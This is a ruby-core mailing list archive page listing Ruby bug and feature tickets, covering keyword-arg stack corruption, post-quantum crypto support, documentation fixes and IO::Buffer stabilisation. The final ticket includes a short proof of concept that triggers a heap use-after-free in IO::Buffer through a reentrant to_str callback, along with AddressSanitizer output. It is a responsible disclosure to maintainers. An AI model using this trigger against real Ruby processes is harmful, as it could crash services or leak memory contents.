- ruby-core - ml.ruby-lang.org

[ruby-core:126779] [Ruby Bug#22335] Stack corruption with >31 keyword args and refined Integer#==
by eapache_opslevel (Evan Huus) 21 Sep '26

21 Sep '26

Issue #22335 has been reported by eapache_opslevel (Evan Huus). ---------------------------------------- Bug #22335: Stack corruption with >31 keyword args and refined Integer#== https://bugs.ruby-lang.org/issues/22335 * Author: eapache_opslevel (Evan Huus) * Status: Open * ruby -v: 4.0.7 * Backport: 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN ---------------------------------------- This is a messy one that originally surfaced as a flaky test in our Rails app, and required a lot of AI-assisted debugging to track down. This bug appears in the latest 4.0.7, though all of the original investigation was done against 3.3.11. If you have: - a method that takes only keyword args - has >31 keyword args - has a call-time-evaluated default value (e.g. `{}`) at argument index >31 - running in a Ruby process that has refined `Integer#==` at any point Then you get inconsistent stack corruption depending on your process's hash salt. The mechanism is nasty: - In a method with only keyword args, `vm_call_iseq_setup_kwparm_kwarg()` call `args_setup_kw_parameters()` with `klocals = argv + kw_param->bits_start - kw_param->num`, i.e. **above `cfp->sp`**, without first extending `cfp->sp` over those locals - `args_setup_kw_parameters()` uses a full hash, keyed by integer, for arguments beyond index 31 - When `args_setup_kw_parameters()` sets a key in that hash, and that key collides with another (not uncommon for a tiny hash, but still salt-dependent), it triggers an integer comparison - The refinement on `Integer#==` prevents that comparison from taking the fast path and turns it into a real C frame - Which gets pushed onto the stack, when the stack pointer hasn't been extended - Thus overwriting the other args and producing garbage The net effect is that the called method sees garbage values for the overwritten arguments. I've attached a reproducing script, which is unfortunately complex, as it needs to do some work to intentionally hit the correct hash collision depending on the process's salt. A simpler static version doesn't reproduce reliably enough to be useful. Even this version will occasionally get a hash salt with no collisions and fail to reproduce, though that seems pretty rare on my machine. ---Files-------------------------------- repro.rb (1.51 KB) -- https://bugs.ruby-lang.org/

1 1

[ruby-core:125491] [Ruby Feature#22068] Adding post-quantum cryptography (PQC) support across Ruby standard libraries
by jaruga (Jun Aruga) 21 Sep '26

21 Sep '26

Issue #22068 has been reported by jaruga (Jun Aruga). ---------------------------------------- Feature #22068: Adding post-quantum cryptography (PQC) support across Ruby standard libraries https://bugs.ruby-lang.org/issues/22068 * Author: jaruga (Jun Aruga) * Status: Open ---------------------------------------- ## Summary and motivation Post-quantum cryptography (PQC) means cryptography algorithm which people can safely use after (post) quantum computing is practically used in the future. By using the quantum computing which is much more powerful than the current computing, it can be possible to crack the current non-PQC algorithms. The goal of this ticket is to make Ruby (including libraries: default gems + bundle gems) work in the environment where only post-quantum cryptography (PQC)-supported algorithms are enabled, and other cryptography algorithms such as RSA are disabled. PQC-supported algorithms are only ML-DSA, ML-KEM and SLH-DSA for now. ML-DSA is used for signature (certification), and ML-KEM is used for connection. As I heard from my colleagues working for OpenSSL, that SLH-DSA is not ready to be used, we can ignore SLH-DSA for now. Ruby OpenSSL (ruby/openssl) already supports PQC by the ticket [ruby/openssl#894][ruby-openssl-pqc-issue]. And there are some works are needed for other standard libraries using Ruby OpenSSL in Ruby to support PQC. I cite the following text from the [NIST][nist-wikipedia]'s [PQC document][nist-pqc]. NIST is an organization deciding cryptography specifications in my understanding. > Some engineers even predict that within the next twenty or so years sufficiently large quantum computers will be built to break essentially all public key schemes currently in use. Historically, it has taken almost two decades to deploy our modern public key cryptography infrastructure. Therefore, regardless of whether we can estimate the exact time of the arrival of the quantum computing era, we must begin now to prepare our information security systems to be able to resist quantum computing. I also cite the following text from DigiCert, a security company's blog. ([link][digicert-blog-google-mtc]) > Gartner predicts that by 2029, conventional asymmetric cryptography like RSA and ECC will be unsafe for protecting sensitive data due to “harvest-now, decrypt-later" threats—even before a quantum break occurs. So, it's better to prepare PQC support now. As an example of the actual movement European Commission is trying to migrate from non-PQC to PQC.([link][ec-pqc]) ## Proof of concept I manage my proof-of-concept scripts on my [junaruga/ruby-pqc-test] repository. For now, there are only some scripts to test RubyGems and Bundler in PQC use cases. ## Tasks I checked ruby/ruby including default gems and bundled gems at the master branch commit `93f1010f70a3ac924c3b37e4ae82cf1a669fcbf0` which was the latest at that time. While ruby/ruby original code doesn't have PQC logic, the following libraries that have the own upstream project need to be modified to support PQC use cases in my investigation. And I am motivated to work on these tasks, adding the PQC features and/or tests. I will open the issue ticket for each upstream project ruby/* one by one. * [ruby/rubygems](https://github.com/ruby/rubygems) - Add PQC features * [ruby/rubygems bundler](https://github.com/ruby/rubygems/tree/master/bundler) - Add PQC features * [ruby/net-http](https://github.com/ruby/net-http) - default gem - Update code comments and add PQC tests * [ruby/open-uri](https://github.com/ruby/open-uri) - default gem - Add PQC tests * [ruby/spec](https://github.com/ruby/spec) - spec/ - Add PQC tests * [ruby/drb](https://github.com/ruby/drb): bundled gem - Add PQC features * [ruby/rbs](https://github.com/ruby/rbs): bundled gem - Not sure. There is `stdlib/openssl/0/openssl.rbs`. Note I used the following [ripgrep]'s `rg` command (an enhanced `grep` command) to check the affected files by PQC. ``` $ rg "require +['\"]openssl['\"]|OpenSSL" --type ruby ``` Please let me know what you think. [openssl-35-release]: https://openssl-library.org/post/2025-04-08-openssl-35-final-release/ [ruby-openssl-pqc-issue]: https://github.com/ruby/openssl/issues/894 [nist-wikipedia]: https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology [nist-pqc]: https://csrc.nist.gov/projects/post-quantum-cryptography [ec-pqc]: https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation… [digicert-blog-google-mtc]: https://www.digicert.com/blog/google-merkle-tree-certificates [junaruga/ruby-pqc-test]: https://github.com/junaruga/ruby-pqc-test [ripgrep]: https://github.com/BurntSushi/ripgrep -- https://bugs.ruby-lang.org/

2 6

[ruby-core:126119] [Ruby Bug#22204] Kernel#require documentation pulls from RubyGems' version of method instead of core version (stable releases only)
by maxfelsher (Max Felsher) 21 Sep '26

21 Sep '26

Issue #22204 has been reported by maxfelsher (Max Felsher). ---------------------------------------- Bug #22204: Kernel#require documentation pulls from RubyGems' version of method instead of core version (stable releases only) https://bugs.ruby-lang.org/issues/22204 * Author: maxfelsher (Max Felsher) * Status: Open * Backport: 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN ---------------------------------------- Currently, https://docs.ruby-lang.org/en/4.0/Kernel.html#method-i-require shows the following text: > When RubyGems is required, [`Kernel#require`](https://docs.ruby-lang.org/en/4.0/Kernel.html#method-i-require) is replaced with our own which is capable of loading gems on demand. > > When you call `require 'x'`, this is what happens: > > * If the file can be loaded from the existing Ruby loadpath, it is. > * Otherwise, installed gems are searched for a file that matches. If it’s found in gem ‘y’, that gem is activated (added to the loadpath). > > The normal `require` functionality of returning false if that file has already been loaded is preserved. Clicking the "Source" button shows RubyGems' version of the method, with a comment indicating it was pulled from `# File lib/rubygems/core_ext/kernel_require.rb, line 36`. The same situation holds for https://docs.ruby-lang.org/en/3.4/Kernel.html#method-i-require (as well as the 3.3 and 3.2 documentation, for what it's worth). This seems to have been fixed on master: at this moment, https://docs.ruby-lang.org/en/master/Kernel.html#method-i-require shows documentation that makes more sense for a core method (starting with "Loads the given `name`, returning `true` if successful and `false` if the feature is already loaded"). I think the fix was in https://github.com/ruby/ruby/pull/16086, which referenced a GitHub issue describing the same problem described here. If the backport policy allows for this kind of fix to be backported, would it be possible to fix the documentation for Ruby 4.0 and 3.4 in addition to master? (I assume this is out of scope for 3.3 and 3.2.) -- https://bugs.ruby-lang.org/

2 1

[ruby-core:124714] [Ruby Bug#21870] Regexp: Warnings when using multiple non-overlapping \p{...} classes
by jneen (Jeanine Adkisson) 21 Sep '26

21 Sep '26

Issue #21870 has been reported by jneen (Jeanine Adkisson). ---------------------------------------- Bug #21870: Regexp: Warnings when using multiple non-overlapping \p{...} classes https://bugs.ruby-lang.org/issues/21870 * Author: jneen (Jeanine Adkisson) * Status: Open * ruby -v: 4.0.0, 4.0.1, earlier versions to a lesser extent * Backport: 3.2: UNKNOWN, 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN ---------------------------------------- ```ruby $VERBOSE = true # warning: character class has duplicated range: /[\p{Word}\p{S}]/ regex = /[\p{Word}\p{S}]/ ``` As far as I can tell this is a perfectly valid and non-overlapping set of unicode properties, but I am still being spammed with warnings. Using `/(\p{Word}|\p{S})/` is kind of a workaround, but it is slower. -- https://bugs.ruby-lang.org/

10 24

[ruby-core:126819] [Ruby Feature#18401] Rework `require_relative` to add the "current path" on `$LOAD_PATH`
by nobu (Nobuyoshi Nakada) 21 Sep '26

21 Sep '26

Issue #18401 has been updated by nobu (Nobuyoshi Nakada). Status changed from Open to Feedback vo.x (Vit Ondruch) wrote: > My proposal is to change the `require_relative` in following way: > > ~~~ > $LOAD_PATH.unshift __dir__ > require "foo" > ~~~ Do you mean `require_relative` should load the file in the current working directory? I don't think it is reasonable behavior. `require_relative` binds the caller's location more tightly, and should not be affected by the runtime environment. > In essence, non of the `require_relative`, `require`, `__FILE__` or `__dir__` would need to use real path. The scenario bellow would provide expected output: > > ~~~ > $ mkdir a > $ mkdir b > $ echo 'puts __dir__' > a/test.rb > $ cd b > $ ln -s ../a/test.rb test.rb > $ ruby test.rb > /home/vondruch/ruby/a > ~~~ Isn't this the same as the current behavior? ---------------------------------------- Feature #18401: Rework `require_relative` to add the "current path" on `$LOAD_PATH` https://bugs.ruby-lang.org/issues/18401#change-119130 * Author: vo.x (Vit Ondruch) * Status: Feedback ---------------------------------------- I think that since inception of `require_relative`, the implementation is wrong and is going against the spirit of `require` functionality. Let me explain. If there is `require "foo"`, it does something like: ~~~ r = $LOAD_PATH.select {|lp| File.exist? File.join(lp, "foo")}.first load(r) ~~~ But `require_relative "foo"` does something different: ~~~ r = File.join(File.realpath(__dir__), "foo") load(r) ~~~ Please note that this is problematic if mixture of `require` and `require_relative` (not mentioning `__FILE__` and `__dir__` are used. The major difference is actually the `File.realpath` here, because it expands symlinks and that is difference to `require` and may allow double loading. My proposal is to change the `require_relative` in following way: ~~~ $LOAD_PATH.unshift __dir__ require "foo" ~~~ In essence, non of the `require_relative`, `require`, `__FILE__` or `__dir__` would need to use real path. The scenario bellow would provide expected output: ~~~ $ mkdir a $ mkdir b $ echo 'puts __dir__' > a/test.rb $ cd b $ ln -s ../a/test.rb test.rb $ ruby test.rb /home/vondruch/ruby/a ~~~ This would also resolve issues such as #16978, #10222 or #17885 -- https://bugs.ruby-lang.org/

1 0

[ruby-core:126818] [Ruby Bug#22338] [Backport] win32: create directory symlinks for relative directory targets
by nobu (Nobuyoshi Nakada) 21 Sep '26

21 Sep '26

Issue #22338 has been reported by nobu (Nobuyoshi Nakada). ---------------------------------------- Bug #22338: [Backport] win32: create directory symlinks for relative directory targets https://bugs.ruby-lang.org/issues/22338 * Author: nobu (Nobuyoshi Nakada) * Status: Closed * Backport: 3.3: REQUIRED, 3.4: REQUIRED, 4.0: REQUIRED ---------------------------------------- https://github.com/ruby/ruby/pull/17545 -- https://bugs.ruby-lang.org/

1 0

[ruby-core:126531] [Ruby Feature#22274] Make `IO::Buffer` no longer experimental.
by ioquatix (Samuel Williams) 21 Sep '26

21 Sep '26

Issue #22274 has been reported by ioquatix (Samuel Williams). ---------------------------------------- Feature #22274: Make `IO::Buffer` no longer experimental. https://bugs.ruby-lang.org/issues/22274 * Author: ioquatix (Samuel Williams) * Status: Open * Assignee: ioquatix (Samuel Williams) ---------------------------------------- `IO::Buffer` was introduced in Ruby 3.1 by Feature #18020 as an experimental API. It provides an efficient buffer abstraction for fiber scheduler I/O, zero-copy operations, binary protocol implementations, and access from native extensions. Since then, the API has seen several Ruby releases of real-world use and substantial development. Ruby 4.1 now has cohesive semantics for buffer ownership and lifecycle, slicing, locking, string and file mappings, MemoryView integration, and single-transfer I/O operations. I propose making both the Ruby and public C interfaces of `IO::Buffer` non-experimental in Ruby 4.1. This would involve: * Removing the allocation-time experimental warning. * Removing the experimental status from the class documentation. * Removing `RB_IO_BUFFER_EXPERIMENTAL` from the public C header. * Removing warning suppression that is only required because `IO::Buffer` is experimental. * Updating NEWS to describe `IO::Buffer` as stable. `RUBY_IO_BUFFER_VERSION` would remain available for compile-time feature detection as the interface continues to evolve. Before stabilizing the interface, I would particularly appreciate feedback from JRuby and TruffleRuby maintainers. Related work: * Original proposal: https://bugs.ruby-lang.org/issues/18020 * CRuby implementation PR: https://github.com/ruby/ruby/pull/18486 * TruffleRuby implementation: https://github.com/truffleruby/truffleruby/pull/4248 * JRuby implementation: https://github.com/jruby/jruby/blob/master/core/src/main/java/org/jruby/Rub… * JRuby file-mapping issue: https://github.com/jruby/jruby/issues/8714 -- https://bugs.ruby-lang.org/

4 12

[ruby-core:126811] [Ruby Feature#15833] Some refactors for shared-root array
by wanabe (_ wanabe) 21 Sep '26

21 Sep '26

Issue #15833 has been updated by wanabe (_ wanabe). Status changed from Open to Closed This ticket is too old ---------------------------------------- Feature #15833: Some refactors for shared-root array https://bugs.ruby-lang.org/issues/15833#change-119122 * Author: wanabe (_ wanabe) * Status: Closed ---------------------------------------- I wrote some patches for shared-root array. But I can't decide whether to commit them because they include the modification of public header `include/ruby/ruby.h`. To ruby core team (I'm not assuming anyone in particular): Can I modify `include/ruby/ruby.h` by the patches? The following is descriptions of the patches. `0001-Name-RArray-member-to-count-reference-of-shared-root.patch` names reference count of shared-root array. So far, `as.heap.aux.capa` is used as reference count but it is different from the reality, reference count. This is a follow up of r19824. `0002-Export-RARRAY_SHARED_ROOT_FLAG.patch` exports RARRAY_SHARED_ROOT_FLAG. I followed other flags as in RARRAY_EMBED_FLAG or RARRAY_TRANSIENT_FLAG. `0003-Fix-object-info-of-shared-root-array.patch` is not a refactor but feature request patch based on above ones. `rb_obj_info` outputs shared-root array info as same as normal array currently, but its capa is not a really "capa" as I said. ---Files-------------------------------- 0001-Name-RArray-member-to-count-reference-of-shared-root.patch (1.42 KB) 0002-Export-RARRAY_SHARED_ROOT_FLAG.patch (1.54 KB) 0003-Fix-object-info-of-shared-root-array.patch (1.04 KB) -- https://bugs.ruby-lang.org/

1 0

[ruby-core:126656] [Ruby Feature#22304] Add rb_warn_to_remove_at() for deprecation warnings shown by default
by shugo (Shugo Maeda) 21 Sep '26

21 Sep '26

Issue #22304 has been reported by shugo (Shugo Maeda). ---------------------------------------- Feature #22304: Add rb_warn_to_remove_at() for deprecation warnings shown by default https://bugs.ruby-lang.org/issues/22304 * Author: shugo (Shugo Maeda) * Status: Open ---------------------------------------- Deprecations such as #22205 and #22276 are scheduled in phases: a warning shown only when `Warning[:deprecated]` is enabled, then a warning shown by default, then the removal. For the first phase, `rb_warn_deprecated_to_remove_at(X.Y, fmt, suggest, ...)` (#17432) prints "... is deprecated and will be removed in Ruby X.Y", and a RUBY_DEBUG build fails to compile when the version reaches X.Y. For the second phase, there is no equivalent API. A warning with the `:deprecated` category is suppressed by default by definition, so the warning must be emitted with `rb_warn` without a category, and the message and the version check have to be written by hand. I propose to add `rb_warn_to_remove_at(X.Y, fmt, suggest, ...)` to internal/error.h: the same message and compile-time check, emitted with `rb_warn`. The name does not contain "deprecated" because `rb_warn_deprecated*` means a warning gated by `Warning[:deprecated]`. -- https://bugs.ruby-lang.org/

2 8

[ruby-core:126782] [Ruby Bug#22336] IO:Buffer Heap uaf
by danielchong (Daniel Chong) 20 Sep '26

20 Sep '26

Issue #22336 has been reported by danielchong (Daniel Chong). ---------------------------------------- Bug #22336: IO:Buffer Heap uaf https://bugs.ruby-lang.org/issues/22336 * Author: danielchong (Daniel Chong) * Status: Open * ruby -v: 4.1.0-dev * Backport: 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN ---------------------------------------- Hello, a UAF is possible in IO:Buffer. PoC: ``` $buf = IO::Buffer.new(64) evil = Object.new def evil.to_str $buf.resize(64 * 1024 * 1024) "UTF-8" end $buf.get_string(0, 32, evil) ``` ASAN (truncated): ``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32 #3 str_enc_new string.c:1109 #4 io_buffer_get_string io_buffer.c:3276 <- USE (read from stale base) freed by thread T0 here: #0 realloc #1 rb_io_buffer_resize io_buffer.c:2203 <- FREE (realloc move) #2 io_buffer_resize io_buffer.c:2249 ... #16 rb_str_to_str string.c:1818 #18 name_for_encoding encoding.c:296 #20 rb_find_encoding encoding.c:345 #21 io_buffer_get_string io_buffer.c:3266 <- reentrancy boundary (encoding to_str) previously allocated by thread T0 here: #0 calloc #1 io_buffer_initialize io_buffer.c:216 <- original 64-byte INTERNAL buffer ``` -- https://bugs.ruby-lang.org/

3 2